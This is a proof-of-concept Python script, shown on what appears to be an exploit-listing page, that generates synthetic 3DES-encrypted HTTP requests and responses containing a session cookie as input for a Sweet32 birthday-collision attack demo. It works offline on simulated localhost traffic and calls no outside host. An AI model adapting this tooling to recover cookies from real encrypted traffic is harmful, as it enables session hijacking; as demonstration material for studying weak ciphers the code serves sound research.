4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / generate_packets.py PY
#!/usr/bin/env python3

import argparse
from string import Template
import os
from datetime import datetime, timedelta

from lib import packetfile
from lib.tridescbc import TripleDESCBC, BLOCK_SIZE, DEMO_BLOCK_SIZE

TIME_FORMAT = "%a, %d %b %Y %H:%M:%S GMT"
START_TIME = datetime.now()

request_template = Template("""GET /nonexistent/$suffix HTTP/1.1
Host: localhost:5000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: session=$cookie
""")

response_template = Template("""HTTP/1.0 404 NOT FOUND
Content-Type: text/html
Content-Length: 233
Server: Werkzeug/0.12.2 Python/3.5.2
Date: $date
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server.</p>
""")


def make_unique_request(index: int, cookie: str):
    return request_template.substitute(
        suffix="{:010d}".format(index),
        cookie=cookie)


def make_unique_response(index: int):
    cur_time = START_TIME + timedelta(seconds=index)
    formatted_time = cur_time.strftime(TIME_FORMAT)
    return response_template.substitute(date=formatted_time)


def encrypt(plain, iv):
    cipher = TripleDESCBC(BLOCK_SIZE, iv)
    result = cipher.encrypt(plain)
    # In demo mode, returns (truncated_blocks, full_blocks)
    if isinstance(result, tuple):
        return result
    return (result, result)  # Same blocks for both if not demo mode


def generate_req_and_res(index: int, cookie: str):
    return (make_unique_request(index, cookie),  make_unique_response(index))


def generate_n_rounds(count, cookie):
    roundTrips = []
    for i in range(count):
        roundTrips.append(generate_req_and_res(i, cookie))

    return roundTrips


def encrypt_round(round_trip, block_size_bytes):
    req = round_trip[0]
    req_iv = os.urandom(8)  # 3DES requires 8-byte IV
    req_truncated, req_full = encrypt(req, req_iv)

    res = round_trip[1]
    res_iv = os.urandom(8)  # 3DES requires 8-byte IV
    res_truncated, res_full = encrypt(res, res_iv)

    return {
        "request": {
            "cipher": req_truncated,      # Truncated for collision matching
            "cipher_full": req_full,      # Full blocks for XOR recovery
            "plain_length": len(req),
            "iv": req_iv,
        },
        "response": {
            "cipher": res_truncated,
            "cipher_full": res_full,
            "plain_length": len(res),
            "iv": res_iv
        }
    }

def format_cookie(cookie: str):
    # truncate to 32 characters and pad to 32 characters if smaller
    return "{:32s}".format(cookie[0:32])

def main(count: int, file: str, cookie: str, block_size_bytes: int):
    rounds = generate_n_rounds(count, cookie)
    encrypted = [encrypt_round(r, block_size_bytes) for r in rounds]

    packetfile.write_packets(encrypted, file)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Generate N 3DES encrypted packets for Sweet32 attack demo')
    parser.add_argument('file', type=str,
                        help="File to write encrypted packets to (binary format)")

    parser.add_argument('--count', metavar='N', type=int, default=20,
                        help="Number of requests to send (in 1000s). Defaults to 20 to create 20k requests")
    parser.add_argument('--cookie', type=str, default="DEADBEEF-CAFE-FADE-FEED-DEADBEEF",
                        help="The value of the cookie written in each request. Will be truncated/padded to 32 chars")

    parser.add_argument('--block-size', type=int, default=8,
                        help="Block size in bytes. Defaults to 8 bytes for 3DES (64-bit blocks).")
    args = parser.parse_args()

    cookie = format_cookie(args.cookie)

    main(args.count*1000, args.file, cookie, args.block_size)